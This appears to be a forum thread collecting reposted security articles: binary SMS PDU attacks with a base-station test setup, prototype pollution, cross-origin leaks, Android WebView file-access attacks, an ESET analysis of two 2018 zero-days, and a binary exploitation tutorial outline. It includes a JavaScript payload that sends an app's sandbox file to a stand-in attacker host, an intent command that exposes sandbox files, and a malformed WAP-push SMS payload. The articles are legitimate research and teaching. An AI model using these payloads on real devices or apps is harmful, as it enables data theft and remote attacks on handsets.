are not allowed to use the service to break the law or use automated means to send texts. Scripting your testing to attack someone else's phone would definitely not be allowed but manually sending an SMS PDU (or two) to test a phone you own could be OK. It is up to you to satisfy yourself that you are compliant with your carrier's terms and conditions. SMS PDU mode There are two defined modes for SMS: Text and raw PDU mode. In PDU mode, the entire frame can be defined which opens up a huge attack surface in the form of the (user defined) encapsulating fields as well as the prospect for a malicious payload to be received by a target application on the phone. The beauty of PDU mode is a poorly written software application on a handset can be exploited remotely.This is made possible through the Protocol Data Unit (PDU) which allows large messages to be fragmented as Concatenated SMS (C-SMS) and crucially from a security aspect, messages to be addressed to different applications on a mobile using port numbers akin to TCP/IP. WAP push is a popular example of a binary PDU. A typical WAP push message from your carrier may contain GPRS or MMS configuration settings which after reassembly appears as a special message which requests user permission to define new network configuration values defined within an XML blob. WAP might well be a legacy protocol, but it's a powerful legacy protocol which can be used for many malicious purposes. Displaying a text message is optional. Some SMS messages can be sent to your handset without your knowledge and will never appear in your inbox (a silent SMS). Message display can also be forced by setting the 'Class 0' type (flash SMS) which will cause the SMS to display in the foreground without user interaction. This public alerting system is used in the US by the emergency services and is typically delivered as a cell broadcast whereby all subscribers attached to a tower receive the SMS simultaneously. SMS test environment options When testing SMS PDUs you can do it in your own private test environment with a GSM test licence or over a public carrier. A private environment has several key advantages: Cost – Sending lots of SMS messages can be expensive, especially once you start concatenating messages. Control – SMS messages on a busy carrier are subject to unpredictable delays and contractual restrictions Debugging – a private environment will allow you to monitor messages and responses on the air interface which is essential for early testing. A public carrier is (potentially) much cheaper and quicker to use, with just a 3G dongle, but forfeits control and is subject to the terms and conditions of your carrier which may not allow testing with their network. Private SMS test environment To inspect SMS PDUs on the air interface a GSM base station is required. One of the best known open source base stations is OpenBTS, for which there are many setup tutorials for many different platforms. In our experience of OpenBTS it is indeed quick to setup but it's PDU handling needs work. It has a Command Line Interface (CLI) for sending both types of SMS but we found the PDU validation routine to be buggy for Mobile Terminated (MT) SMS messages which is exactly what we're interested in. After spending a long time nailing down the validation issue (and judging by the developer's comments and try/catch blocks we weren't alone) we happened across YateBTS which we found to have better support for testing MT-SMS. YateBTS can be installed on a Raspberry Pi 3 which gives the advantage of having it in a small portable form so you can place it inside the faraday cage for example so it can be accessed by many users on a LAN. You should keep the distance between the radio and the host computer as short as possible and do not daisy chain USB cables as the clock requirements are so precise you will experience stability issues. Kit list All prices are approximate. A cellar or room with double concrete walls could be used instead of a faraday cage providing your licensing authority are satisfied it will suppress emissions sufficiently (>60dB). Twelve inch concrete blocks have 35dB of attenuation at 900MHz. Ettus USRP B200 with 2 900MHz antennas: £600 Ettus GPS disciplined oscillator (TCXO) with GPS antenna: £500 Ramsey STE3000 RF enclosure: £1500 Raspberry Pi 3: £35 YateBTS: Free Wireshark: Free Osmo-trx driver: Free Ettus UHD library: Free Total: £2635 Building Open source BTS tutorials age off quicker than a Gentoo kernel due to the fast moving world of open source GSM and the dynamic dependencies required. We recommend focusing on learning the standard and concepts rather than particular packages but if you want a recent tutorial, you'll find a comprehensive tutorial for an open source BTS (Yate) on a Pi here. OpenBTS and YateBTS don't prescribe hardware or drivers so you can use it with multiple radios, providing they support the precise timing requirements of a GSM base station which are for an error rate of 0.05 ppm. This is more relaxed for pico cells at 0.1ppm. If you attempt to stand up a BTS without a precision clock source you will find it is unstable. You may get lucky and get your handset to see the network and attach to it briefly at close range but it won't last and will quickly fall over once you commence testing. A precision clock is essential. The GPS unit we used requires an external GPS receive antenna and does take a while to acquire a fix (Green LED) initially. A key configuration change for using a low power PC like a Pi is the third party radio driver which must be defined within ../etc/yate/ybts.conf. We had success with the official Ettus UHD driver but opted for the ARM friendly osmo-trx transceiver compiled with UHD 003.010 defined as Path=./osmo-trx and homed at ../lib/yate/server/bts/osmo-trx Testing Understanding the many unique aspects of the GSM air interface is not necessary to perform SMS testing but having a basic understanding of paging will help. Getting your handset to attach initially is half the battle, after that the rest is quite straightforward and very much in the realm of computing not RF. The gsmtap PCAP output is an invaluable tool in testing your setup and monitoring traffic on the air interface. To use it, enter Yate's web UI and update the monitoring IP to your own, check the gsmtap box, then spin up wireshark on your external interface. This feature can be used remotely which is convenient for users on a LAN. The gsmtap UDP packets for both the uplink and downlink will be sent blindly to port 4729 on your host and will likely elicit ICMP port closed responses. A healthy BTS will be broadcasting data frames constantly on its Broadcast Channel (BCCH) and subscribers will be able to attach to it providing their International Mobile Subscriber Identifier (IMSI) is allowed under the access rules. When initiating an SMS, the first thing the BTS does is page the handset on the Common Control Channel (CCCH) to test for it's presence. The handset should respond in kind after which the BTS will send the SMS PDU(s) on the Standalone Dedicated Control Channel (SDCCH). In the screenshot below, a concatenated 3 part SMS has been sent over our YateBTS by subscriber 12345. Only when the final fragment arrives is it reassembled into a complete SMS. Each fragment is acknowledged separately which is helpful for debugging concatenation issues. Wireshark filters Only GSM: gsmtap && !icmp Only paging activity: gsmtap.chan_type == CCCH && !icmp Only SMS (Uplink / Downlink): gsm_a.dtap.msg_sms_type == 0x01 Only SMS from originator 12345: gsm_sms.tp-oa == "12345" Only SMS ack from subscriber: gsm_a.rp.msg_type == 0x02 To send a PDU with YateBTS you can either use the dedicated script in the web interface at /nib_web/custom_sms.php or the more flexible telnet interface on TCP port 5038.Both methods require the IMSI of the recipient which you can find from the registered subscribers list or by monitoring handset registration and paging on the air interface.We wrapped the telnet interface with our own PHP script using the socket API like so: // PHP $cmd="control custom_sms called=$imsi $type=rpdu";$socket = fsockopen("localhost", "5038", $errno, $errstr); fputs($socket, "$cmd "); With our SMS web API we were not only able to let other researchers on the LAN send PDUs but also de-skill the knowledge required to perform SMS testing. The PDU sent on the air interface looks different than the PDU sent over the public network because of differences in SMS-DELIVER (BTS > MS) and SMS-SUBMIT (MS > BTS) formats. To learn more about PDUs see the PDU section. Public SMS test environment PDU testing doesn't have to be expensive. You can send custom PDUs using any GSM device on which you can issue AT modem commands. A practical solution is a 3G dongle such as the Huawei E3533 or even a basic development board such as the Adafruit FONA series. Using the £20 Huawei E3533 as an example, you will need to ensure the device is connected in GSM modem mode, not Ethernet adapter or mass storage etc. To do this with Linux issue a usb_modeswitch command as follows: usb_modeswitch -v 0x12d1 -p 0x1f01 -V 0x12d1 -P 0x14db -M "55534243123456780000000000000011063000000100010000000000000000" More device specific commands are available in the forum at http://www.draisberghof.de/usb_modeswitch/bb/ Once you have a /dev/ttyUSBx, connect to it with a serial console like minicom and issue the following Hayes AT commands:AT+CMGF=0 to place the modem into PDU mode. AT+CMGS=n to prepare to send a PDU of length n bytes, followed by the PDU itself in hexadecimal form. To obtain the length take the total number of hexadecimal characters, divide it by 2 to get bytes then subtract 8 bytes for the recipient's number. Tip: Hit Ctrl-Z to send the PDU. Do not hit enter. The serial commands are easily scripted using Python's serial library. Before firing up your Python interpreter, bear in mind your carrier's terms and conditions regarding automated sending of SMS messages. So long as you are in control of each message's transmission you should be ok. Here's a basic Python client for sending a PDU via a GSM modem. # Python ser = serial.Serial(tty, 115200, timeout=5)ser.write('AT ')if "OK" in ser.read(64): print "CONNECTED TO MODEM OK" ser.write("AT+CMGF=0 ") # PDU mode ser.write("AT+CMGS=%d " % ((len(pdu)/2)-8)) time.sleep(1) ser.write('%s' % pdu) print ser.read(64) else: print "MODEM FAILURE"ser.close() Protocol Data Units (PDUs) The GSM 03.40 standard describes Transfer Protocol Data Units (TPDUs) which are used to convey an SMS. The TPDU is used throughout the messages journey across the telecoms network. There are different types of SMS PDUs. PDUs from the handset to the network are SMS-SUBMIT and could start with byte 0x01, PDUs from the network down to the handset are SMS-DELIVER and could start with byte 0x00 and are normally longer due to the addition of a 7 octet date service centre time stamp. The first byte is a bitmask of multiple flags and contains a lot of information. PDU encoding is complicated but thankfully there are many free online encoders and programming libraries like Python's smspdu to validate your PDU against the GSM 03.40 standard. Before jumping straight in and using one it's important you understand some key fields and the significant difference between DELIVER and SUBMIT PDUs as many online decoders only do SUBMIT and not DELIVER. We've tested lots and recommend Python's smspdu library. Example validation of a PDU: python -m smspdu [PDU] The Protocol Identifier (PID) field refers to the application layer protocol used. The default value 0x00 is used for plain short messages. Setting the PID to 0x64 would be a silent SMS known as a 'type 0' SMS which all handsets receive and must acknowledge without indicating its receipt to the user. As previously mentioned, this has been used by law enforcement to actively 'ping' a handset on a network. User data headers and concatenation When you want to target an application on a phone you need to define the destination port within the User Data Header (UDH) which sits between the PDU header and User Data (UD) and is declared early on with the User Data Header Indicator (UDHI) flag in the first octet. The UDH is also where Concatenated SMS (C-SMS) fragments are described. SMS allows for large (binary) payloads to be chunked up and sent as separate messages, not necessarily in sequence. This allows for up to 35,700 bytes of custom data to be sent to an application on a handset as 255 texts (Warning: You get billed per SMS). To chunk up a large message, it must first be split up into user data fragments not more than 140 octets each. A concatenated fragment is indicated via the UDHI flag in the first byte which indicates the first few bytes of the UD are fragment information which is used to reassemble the fragments later in order. Each fragment would be sent, preceded by the SMSC header, destination number, and the Protocol Identifier (PID) and Data Coding scheme (DCS) bytes. The fragment header contains the fragment count, a unique byte which serves as a batch identifier for all the fragments as well as the total number of fragments. Example UDH declaring 16 bit port addressing AND concatenation: 0A050B8457320003FF0201 0A: UDH length minus length field: 10 05: 16 bit application port addressing (Next four octets) 0B84: Destination port: 2948 (WAP push) 5732: Source port: 1664 00: Concatenated SMS 03: Information Element length for C-SMS section: 3 FF: Unique message identifier: 255 02: Fragments total: 2 01: This fragment: 1 For more UDH options see the 3GPP 23.040 standard. Hello World! SMS-SUBMIT PDU This PDU to MSISDN +441234567890 has the 'immediate display' flag set so will pop up as a flash SMS on the recipient's handset: 01000C9144214365870900000CC8329BFD065DDF72363904 Bear in mind that data encoding varies between sections. Some sections are special bit-masks, some are GSM 7 bit encoded and some are just plain old hexadecimal. 01: SMS-SUBMIT with default flags (Bitmask) 00: Message type 0 (bits 0-1)Reject duplicates flag set (bit 2) (Bitmask) 0C: Recipient length 12 digits (0x0C) 91: International ISDN/Telephone numbering plan (Bitmask) 442143658709: Recipient MSISDN (+441234567890) (GSM 7 bit encoding) 0000: Protocol identifier 0: Plain old SMS, Data Coding Scheme 0: Flash message (Bit mask) CC8329BFD065DDF72363904: User data: Hello World! (GSM 7 bit encoding) GSM interfaces on phones don't have firewalls With an Android phone you would see the following activity in the log when an SMS PDU is received. This shows the Radio Interface Layer (RIL) notifying the kernel of an incoming unsolicited PDU of length 168 (21 bytes). The full PDU is written to a SQLITE database, an automatic acknowledgement is sent (SMS-DELIVER-ACK) back to the network and finally the PDU is delivered to Android's privileged SMS receiver for onward processing, in this case to the message store although it could be routed to a listening application if a destination port is specified in the UDH. The only check is within the SmsHandler() which checks if SMS messages are allowed. There is no concept of packet inspection or port filters like an IP firewall. adb logcat -b radio I/RILC ( 2139): RIL_SOCKET_1 UNSOLICITED: UNSOL_RESPONSE_NEW_SMS length:168D/RILJ ( 2988): [UNSL]< UNSOL_RESPONSE_NEW_SMS [SUB0]D/GsmInboundSmsHandler( 2988): IdleState.processMessage:1D/GsmInboundSmsHandler( 2988): Idle state processing message type 1D/GsmInboundSmsHandler( 2988): acquired wakelock, leaving Idle stateD/GsmInboundSmsHandler( 2988): entering Delivering stateD/GsmInboundSmsHandler( 2988): DeliveringState.processMessage:1D/GsmInboundSmsHandler( 2988): isSMSBlocked=falseD/GsmInboundSmsHandler( 2988): URI of new row -> content://raw/1D/RILJ ( 2988): [9382]> SMS_ACKNOWLEDGE true 0 [SUB0]D/GsmInboundSmsHandler( 2988): DeliveringState.processMessage:2D/RILC ( 2139): SOCKET RIL_SOCKET_1 REQUEST: SMS_ACKNOWLEDGE length:20D/GsmInboundSmsHandler( 2988): Delivering SMS to: com.android.mms com.android.mms.transaction.PrivilegedSmsReceiver Targeting port 2948 with random data In this example, an SMS-SUBMIT containing 1000 characters of malformed WBXML has been concatenated as 7 fragments and targeted at a the WAP push application listening on port 2948.Because of the port number, an assumption about the data type of the payload is made (WBXML). This could be any binary data addressed to any port. PDU bytes: 41000C9144214365870900009B0B05040B8457320003FF0201C2E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E17018 41: SMS-SUBMIT with a user data header (Bitmask), Reject duplicates flag set (bit 2), User Data Header flag set (bit 3) 00: Message type 0 (bits 0-1) Immediate display 0C: Recipient length 12 digits (0x0C) 91: International ISDN/Telephone numbering plan (Bitmask) 442143658709: Recipient MSISDN (+441234567890 encoded as 7-bit ASCII) 0000: PID: 0, DCS: 0 9B: User data length (including UDH): 155 0B05040B8457320003FF0201:User Data Header (UDH). Length: 0x0B 16 bit port addressing: 0x05 Four octets long: 0x04 Destination port: 0x0B84 Source port: 0x5732 Concatenated SMS: 0x00 Three octets long: 0x03 Sequence identifier: 0xFF Total fragments: 0x02 This fragment: 0x01 C2E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E170381C0E87C3E1703 81C0E87C3E170381C0E87C3E17018:User Data. Malformed WBXML composed of repeat sequence of letter 'a'. Conclusion SMS is a weak link in a handset's security. With it you can interact, remotely, with an application on someone's phone when the phone is not connected to the internet. Significantly it has no firewall so bad packets are always forwarded. Despite being an old specification it has received much less scrutiny than Internet Protocol for example and many applications (and non-conventional devices now) handle SMS PDUs with a greater level of trust than they afford IP packets for comparison. In our next SMS blog we'll employ these concepts to attack the application layer on a phone remotely... Contact and Follow-up Alex is a senior researcher based in Context's Cheltenham office. He has over 15 years' experience of engineering and analysing RF systems and protocols and specialises in electronic warfare and RF propagation. See the contact page for how to get in touch. Sursa: https://www.contextis.com/blog/binary-sms-the-old-backdoor-to-your-new-thing
-
- 1
-
-
HOW TO DETERMINE THE LOCATION OF A MOBILE SUBSCRIBER Sergey Puzankov In mobile networks, rather specific attacks are possible. In this article, I will consider a real-time attack that allows one to detect a cell where a subscriber is located. I cannot specify the method accuracy in more common units of measurement, because cell coverage areas greatly vary based on the terrain. In a densely built-over urban area, a cell could cover several hundred meters. However, on an intercity highway in the wild, a cell might only cover several kilometers. Download: https://www.ptsecurity.com/upload/iblock/8c0/8c065c70984c93d3001234ed6e6d865b.pdf
-
- 1
-
-
Prototype pollution attack Abstract Prototype pollution is a term that was coined many years ago in the JavaScript community to designate libraries that added extension methods to the prototype of base objects like "Object", "String" or "Function". This was very rapidly considered a bad practice as it introduced unexpected behavior in applications. In this presentation, we will analyze the problem of prototype pollution from a different angle. What if an attacker could pollute the prototype of the base object with his own value? What APIs allow such pollution? What can be done with it? Paper Link to paper Slides Link to slides Sursa: https://github.com/HoLyVieR/prototype-pollution-nsec18
-
How do we Stop Spilling the Beans Across Origins? A primer on web attacks via cross-origin information leaks and speculative execution aaj@gxxgle.com, mkwst@gxxgle.com Intro Browsers do their best to enforce a hard security boundary on an origin-by-origin basis. To vastly oversimplify, applications hosted at distinct origins must not be able to read each other's data or take action on each other’s behalf in the absence of explicit cooperation. Generally speaking, browsers have done a reasonably good job at this; bugs crop up from time to time, but they're well-understood to be bugs by browser vendors and developers, and they're addressed promptly. The web platform, however, is designed to encourage both cross-origin communication and inclusion. These design decisions weaken the borders that browsers place around origins, creating opportunities for side-channel attacks (pixel perfect, resource timing, etc.) and server-side confusion about the provenance of requests (CSRF, cross-site search). Spectre and related attacks based on speculative execution make the problem worse by allowing attackers to read more memory than they're supposed to, which may contain sensitive cross-origin responses fetched by documents in the same process. Spectre is a powerful attack technique, but it should be seen as a (large) iterative improvement over the platform's existing side-channels. This document reviews the known classes of cross-origin information leakage, and uses this categorization to evaluate some of the mitigations that have recently been proposed ( CORB , From-Origin , Sec-Metadata / Sec-Site , SameSite cookies and Cross-Origin-Isolate ). We attempt to survey their applicability to each class of attack, and to evaluate developers' ability to deploy them properly in real-world applications. Ideally, we'll be able to settle on mitigation techniques which are both widely deployable, and broadly scoped. Sursa: https://www.arturjanc.com/cross-origin-infoleaks.pdf
-
Main Articles Advisories Tools About May 15, 2018 Reviewing Android Webviews fileAccess attack vectors. Introduction WebViews are a crucial part of many mobile applications and there are some security aspects that need to be taken into account when using them. File access is one of those aspects. For the implementation of some checks in our security tool Droidstatx, I’ve spent some time understanding all the details and noticed that not all attack vectors are very clear, specially in their requirements. WebView file access is enabled by default. Since API 3 (Cupcake 1.5) the method setAllowFileAccess() is available for explicitly enabling or disabling it. A WebView with file access enabled will be able to access all the same files as the embedding application, such as the application sandbox (located in /data/data/<package_name>), /etc, /sdcard, among others. Above API 19(KitKat 4.4 - 4.4.4), the app will need the android.permission.READ_EXTERNAL_STORAGE permission. The WebView needs to use a File URL Scheme, e.g., file://path/file, to access the file. Another important detail is that WebViews have Javascript disabled by default. The method setJavaScriptEnabled() is available for explicitly enabling or disabling it.. Before going into details regarding the type of attack vectors that are made possible with file access, one needs to be aware of another concept, Same Origin Policy (SOP): A web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin. An origin is defined as a combination of URI scheme, host name, and port number. in https://en.wikipedia.org/wiki/Same-origin_policy As an example, the URLs https://www.integrity.pt and file://etc/hosts do not have the same origin since they won’t match in: Scheme: HTTPS vs file Authority: www.integrity.pt vs etc/hosts This means that a file request in the context of the https://www.integrity.pt loaded contents will be considered a Cross Origin Request (COR). Attack Vectors So we have a WebView with file access. Now what? As an attacker we want data exfiltration and this is what motivated me to write this article because there are details that can invalidate this type of attack. Scenario 1: App with WebView that loads resources which the attacker is able to intercept and manipulate. Javascript enabled. In this scenario, an attacker is able to intercept the communication of the app and is able to manipulate the content. Our goal is to exfiltrate content from the app so our best option is to use Javascript to do so. Using an XMLHttpRequest seems the best way to do that. The attacker can try and replace the content returned to the app with a Javascript payload that would seemingly allow to exfiltrate files: var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { window.location.replace('https://attackerdomain.com/?exfiltrated='+xhr.responseText); } } xhr.open('GET', 'file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt', true); xhr.send(null); The attacker will be able to see the HTTP request but without exfiltrated data. If we look into the system logs we discover why. 05-09 12:38:59.306 27768 27768 I chromium: [INFO:CONSOLE(20)] “Failed to load file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt: Cross origin requests are only supported for protocol schemes: http, data, chrome, https.”, source: https://labs.integrity.pt/ (20) On earlier API versions like 15 (Ice Cream Sandwich 4.0.3 - 4.0.4) a similar error is returned: Console: XMLHttpRequest cannot load file:///data/data/pt.integrity.labs.webview_remote/files/sandbox_file.txt. Cross origin requests are only supported for HTTP. null:1 Console: Uncaught Error: NETWORK_ERR: XMLHttpRequest Exception 101 https://labs.integrity.pt/:39 So even with file access enabled in the WebView, due to the fact that the file scheme request is considered a Cross Origin Request and hence disallowed, the attacker will not be able to exfiltrate files this way. Scenario 2: App with WebView that loads local HTML files via file scheme with external resources which the attacker is able to intercept and manipulate. Javascript enabled. In this scenario, the HTML files are stored locally in the APK and are loaded via file scheme, but some resources are loaded externally. There is a very important property called UniversalAccessFromFileURLs that allows SOP bypass. This property indicates whether Javascript running in the context of a file scheme can access content from any origin. This property is enabled by default below API 16 (Jelly Bean 4.1.x) and there is no way to disable it on those API levels [1]. In API 16 (Jelly Bean 4.1.x) and afterwards the property is disabled by default. The method setAllowUniversalAccessFromFileURLs() was also made available to explicitly enable or disable this feature. Using the same Javascript payload, the attack will succeed in devices that are running on API 15 and below, or in apps that explicitly enable the property using the method setAllowUniversalAccessFromFileURLs(). The attack succeeds due to the fact that the app is running Javascript in the context of an HTML file loaded with a file scheme and the UniversalAccessFromFileURLs property is enabled, allowing SOP bypass. Scenario 3: App with exported component that opens URLs via Intent. Backup disabled. Access to External Storage. In this scenario, the app has an exported activity, then receives URLs via Intents, and opens the respective URL. This is very common in apps that are using Deep Links. When intent-filters are not correctly implemented this can cause security issues. The app also has Backup disabled, preventing an attacker to obtain access to the app’s sandbox content via the backup file. Here the attack vectors are a bit trickier and far-fetched, but still possible. Scenario 3 - Physical Attack One possible attack vector is someone that has physical access to a unlocked device, already knows in advanced the structure of the vulnerable app (consider an hypothetical well known app, with a large user base), and session cookies or plaintext credentials are stored in the app’s sandbox. The attacker can install a custom app sending a targeted Intent for the file with sensitive information or install a terminal emulator from Google Play and type in the following command: am start -n pt.integrity.labs.webview_intents/.ExportedActivity –es url “file:///data/data/pt.integrity.labs.webview_intents/files/sandbox_file.txt” This will trigger the vulnerable app and the WebView is going to show the content of the sensitive file on the screen. Without rooting the device it is possible to obtain access to the content of the app’s sandbox. Scenario 3 - Malicious App This attack requires that the vulnerable app is running on a device below API 16 or the app has explicitly enabled UniversalAccessFromFileURLs An attacker lures the user to install a malicious app that only needs android.permission.INTERNET and android.permission.READ_EXTERNAL_STORAGE permissions. When started, the malicious app creates an HTML file in the external storage with a Javascript payload identical to the one used in scenarios 1 and 2. Afterwards, it sends an Intent to the vulnerable app containing the URL of the local HTML (previously created in the external storage). This will allow it to exfiltrate the information from inside the vulnerable app’s sandbox like in scenario 2. Test Apps I’ve created the apps for all scenarios so you can play around and test this for yourselves. Scenario 1 - https://github.com/integrity-sa/android-webviews-fileaccess/blob/master/webview_remote_scenario1.apk Scenario 2 - https://github.com/integrity-sa/android-webviews-fileaccess/blob/master/webview_local_scenario2.apk Scenario 3 - https://github.com/integrity-sa/android-webviews-fileaccess/blob/master/webview_intents_scenario3.apk Scenario 3 Exploit App - https://github.com/integrity-sa/android-webviews-fileaccess/blob/master/webview_intents_scenario3_exploit.apk Note1: All apps have broken TLS implementation so it’s easier to intercept the communication. If using Burp Suite, for scenario 2, ensure that you adjust the Intercept Client Requests rules so that you can intercept Javascript content. Note2: While exploring the vulnerability in Scenario 2 and 3 (both vulnerable app and exploit) you will need to clear the data (Settings->Apps->App->Clear Data) when trying to repeat the attack. Note3: On Scenario 3 Malicious App, start the vulnerable app a first time and only then run the exploit app. Conclusion WebViews with file access enabled can have a big impact in a particular application’s security but, by itself, a WebView with file access enabled does not guarantee a practical way to exfiltrate files from the system. For the attack to work it is required that the app is running on a device with API level < 16 and/or the app developer improperly used the Android platform as demonstrated in some of the scenarios above. These were the attack vectors that I could identify but if I missed a particular one, I would love to discuss it and add it here. Ping me at https://twitter.com/clviper. Recommendations: Ensure that all external external resources loaded by a WebView are using TLS and the app has a correct TLS implementation. Ensure that all exported components that might need to receive intents and trigger a WebView to open that URL are correctly filtered by using intent-filters and a data element for a fine filter of the allowed URIs. Ensure that all WebViews explicitly disable file access when not a requirement by using the method setAllowFileAccess(). In API Level >=16, when not a requirement, ensure that no WebView enables the UniversalAccessFromFileURLs by using the method setAllowUniversalAccessFromFileURLs(). References https://en.wikipedia.org/wiki/Same-origin_policy https://source.android.com/setup/start/build-numbers https://developer.android.com/reference/android/webkit/WebView https://developer.android.com/reference/android/webkit/WebSettings https://developer.android.com/guide/components/intents-filters https://developer.android.com/guide/topics/manifest/data-element https://github.com/OWASP/owasp-mstg/blob/master/Document/0x05h-Testing-Platform-Interaction.md#testing-webview-protocol-handlers Notes [1] Currently the Android developer documentation has the following paragraph: To prevent possible violation of same domain policy when targeting ICE_CREAM_SANDWICH_MR1 and earlier, you should explicitly set this value to false. I’ve opened an issue on google issue tracker, since this paragraph needs to be adjusted. The public method setAllowUniversalAccessFromFileURLs() was only implemented in API 16, so it is not possible to use this method in API 15 (ICE_CREAM_SANDWICH_MR1) and earlier. Thank you Special thank you to pmsac and morisson for the post review. Written by Cláudio André Sursa: https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/
-
A tale of two zero-days Double zero-day vulnerabilities fused into one. A mysterious sample enables attackers to execute arbitrary code with the highest privileges on intended targets Anton Cherepanov 15 May 2018 - 02:58PM Share Late in March 2018, ESET researchers identified an interesting malicious PDF sample. A closer look revealed that the sample exploits two previously unknown vulnerabilities: a remote-code execution vulnerability in Adobe Reader and a privilege escalation vulnerability in Microsoft Windows. The use of the combined vulnerabilities is extremely powerful, as it allows an attacker to execute arbitrary code with the highest possible privileges on the vulnerable target, and with only the most minimal of user interaction. APT groups regularly use such combinations to perform their attacks, such as in the Sednit campaign from last year. Once the PDF sample was discovered, ESET contacted and worked together with the Microsoft Security Response Center, Windows Defender ATP research team, and Adobe Product Security Incident Response Team as they fixed these bugs. Patches and advisories from Adobe and Microsoft are available here: APSB18-09 CVE-2018-8120 The affected product versions are the following: Acrobat DC (2018.011.20038 and earlier versions) Acrobat Reader DC (2018.011.20038 and earlier versions ) Acrobat 2017 (011.30079 and earlier versions) Acrobat Reader DC 2017 (2017.011.30079 and earlier versions) Acrobat DC (Classic 2015) (2015.006.30417 and earlier versions) Acrobat Reader DC (Classic 2015) (2015.006.30417 and earlier versions) Windows 7 for 32-bit Systems Service Pack 1 Windows 7 for x64-based Systems Service Pack 1 Windows Server 2008 for 32-bit Systems Service Pack 2 Windows Server 2008 for Itanium-Based Systems Service Pack 2 Windows Server 2008 for x64-based Systems Service Pack 2 Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1 Windows Server 2008 R2 for x64-based Systems Service Pack 1 This blog covers technical details of the malicious sample and the vulnerabilities it exploited. Introduction PDF (Portable Document Format) is a file format for electronic documents and as with other popular document formats, it can be used by attackers to deliver malware to a victim’s computer. In order to execute their own malicious code, attackers have to find and exploit vulnerabilities in PDF viewer software. There are several PDF viewers; one very popular viewer is Adobe Reader. The Adobe Reader software implements a security feature called a sandbox, also known in the viewer as Protected Mode. The detailed technical description of the sandbox implementation was published on Adobe’s blog pages in four parts (Part 1, Part 2, Part 3, Part 4). The sandbox makes the exploitation process harder: even if code execution is achieved, the attacker still would have to bypass the sandbox’s protections in order to compromise the computer running Adobe Reader. Usually, sandbox bypass is achieved by exploiting a vulnerability in the operating system itself. This is a rare case when the attackers were able to find vulnerabilities and write exploits for the Adobe Reader software and the operating system. CVE-2018-4990 – RCE in Adobe Reader The malicious PDF sample embeds JavaScript code that controls the whole exploitation process. Once the PDF file is opened, the JavaScript code is executed. At the beginning of exploitation, the JavaScript code starts to manipulate the Button1 object. This object contains a specially crafted JPEG2000 image, which triggers a double-free vulnerability in Adobe Reader. Figure 1. JavaScript code that manipulates the Button1 object The JavaScript uses heap-spray techniques in order to corrupt internal data structures. After all these manipulations the attackers achieve their main goal: read and write memory access from their JavaScript code. Figure 2. JavaScript code used for reading and writing memory Using these two primitives, the attacker locates the memory address of the EScript.api plugin, which is the Adobe JavaScript engine. Using assembly instructions (ROP gadgets) from that module, the malicious JavaScript sets up a ROP chain that would lead to the execution of native shellcode. Figure 3. Malicious JavaScript that builds a ROP chain As the final step, the shellcode initializes a PE file embedded in the PDF and passes execution to it. CVE-2018-8120 – Privilege escalation in Microsoft Windows After having exploited the Adobe Reader vulnerability, the attacker has to break the sandbox. This is exactly the purpose of the second exploit we are discussing. The root cause of this previously unknown vulnerability is located in the NtUserSetImeInfoEx function of the win32k Windows kernel component. Specifically, the SetImeInfoEx subroutine of NtUserSetImeInfoEx does not validate a data pointer, allowing a NULL pointer dereference. Figure 4. Disassembled SetImeInfoEx routine As is evident in Figure 4, the SetImeInfoEx function expects a pointer to an initialized WINDOWSTATION object as the first argument. The spklList could be equal to zero if the attacker creates a new window station object and assigns it to the current process in user-mode. Thus, by mapping the NULL page and setting a pointer to offset 0x2C, the attacker can leverage this vulnerability to write to an arbitrary address in the kernel space. It should be noted that since Windows 8, a user process is not allowed to map the NULL page. Since the attacker has arbitrary write primitive they could use different techniques, but in this case, the attacker chooses to use a technique described by Ivanlef0u and Mateusz “j00ru” Jurczyk and Gynvael Coldwin. The attacker sets up a call gate to Ring 0 by rewriting the Global Descriptor Table (GDT). To do so an attacker gets the address of the original GDT using the SGDT assembly instruction, constructs their own table and then rewrites the original one using the above-mentioned vulnerability. Then the exploit uses the CALL FAR instruction to perform an inter-privilege level call. Figure 5. The disassembled CALL FAR instruction Once the code is executed in kernel mode, the exploit replaces the token of the current process with the system token. Conclusion Initially, ESET researchers discovered the PDF sample when it was uploaded to a public repository of malicious samples. The sample does not contain a final payload, which may suggest that it was caught during its early development stages. Even though the sample does not contain a real malicious final payload, the author(s) demonstrated a high level of skills in vulnerability discovery and exploit writing. Indicators of Compromise (IoC) ESET detection names JS/Exploit.Pdfka.QNV trojan Win32/Exploit.CVE-2018-8120.A trojan SHA-1 hashes C82CFEAD292EECA601D3CF82C8C5340CB579D1C6 0D3F335CCCA4575593054446F5F219EBA6CD93FE Anton Cherepanov 15 May 2018 - 02:58PM Sursa: https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/
-
Binary Exploitation Any Doubt...? Let's Discuss Introduction I am quite passionate about exploiting binary files. First time when I came across Buffer Overflow(a simple technique of exploitation) then I was not able to implement the same with the same copy of code on my system. The reason for that was there was no consolidated document that would guide me thoroughly to write a perfect exploit payload for the program in case of system changes. Also there are very few descriptive blogs/tutorials that had helped me exploiting a given binary. I have come up with consolidation of Modern exploitation techniques (in the form of tutorial) that will allow you to understand exploitation from scratch. I will be using vagrant file to setup the system on virtual box. To do the same in your system follow: vagrant up vagrant ssh Topics Lecture 1. Memory Layout of C program. ELF binaries. Overview of stack during function call. Assembly code for the function call and return. Concept of $ebp and $esp. Executable memory. Lecture 1.5. How Linux finds the binaries utilis? Simple exploit using Linux $PATH variable. Lecture 2. What are stack overflows? ASLR (basics), avoiding Stack protection. Shellcodes Buffer overflow: Changing Control of the program to return to some other function Shellcode injection in buffer and spawning the shell Lecture 3. Shellcode injection with ASLR enabled. Environment variables. Lecture 3.5 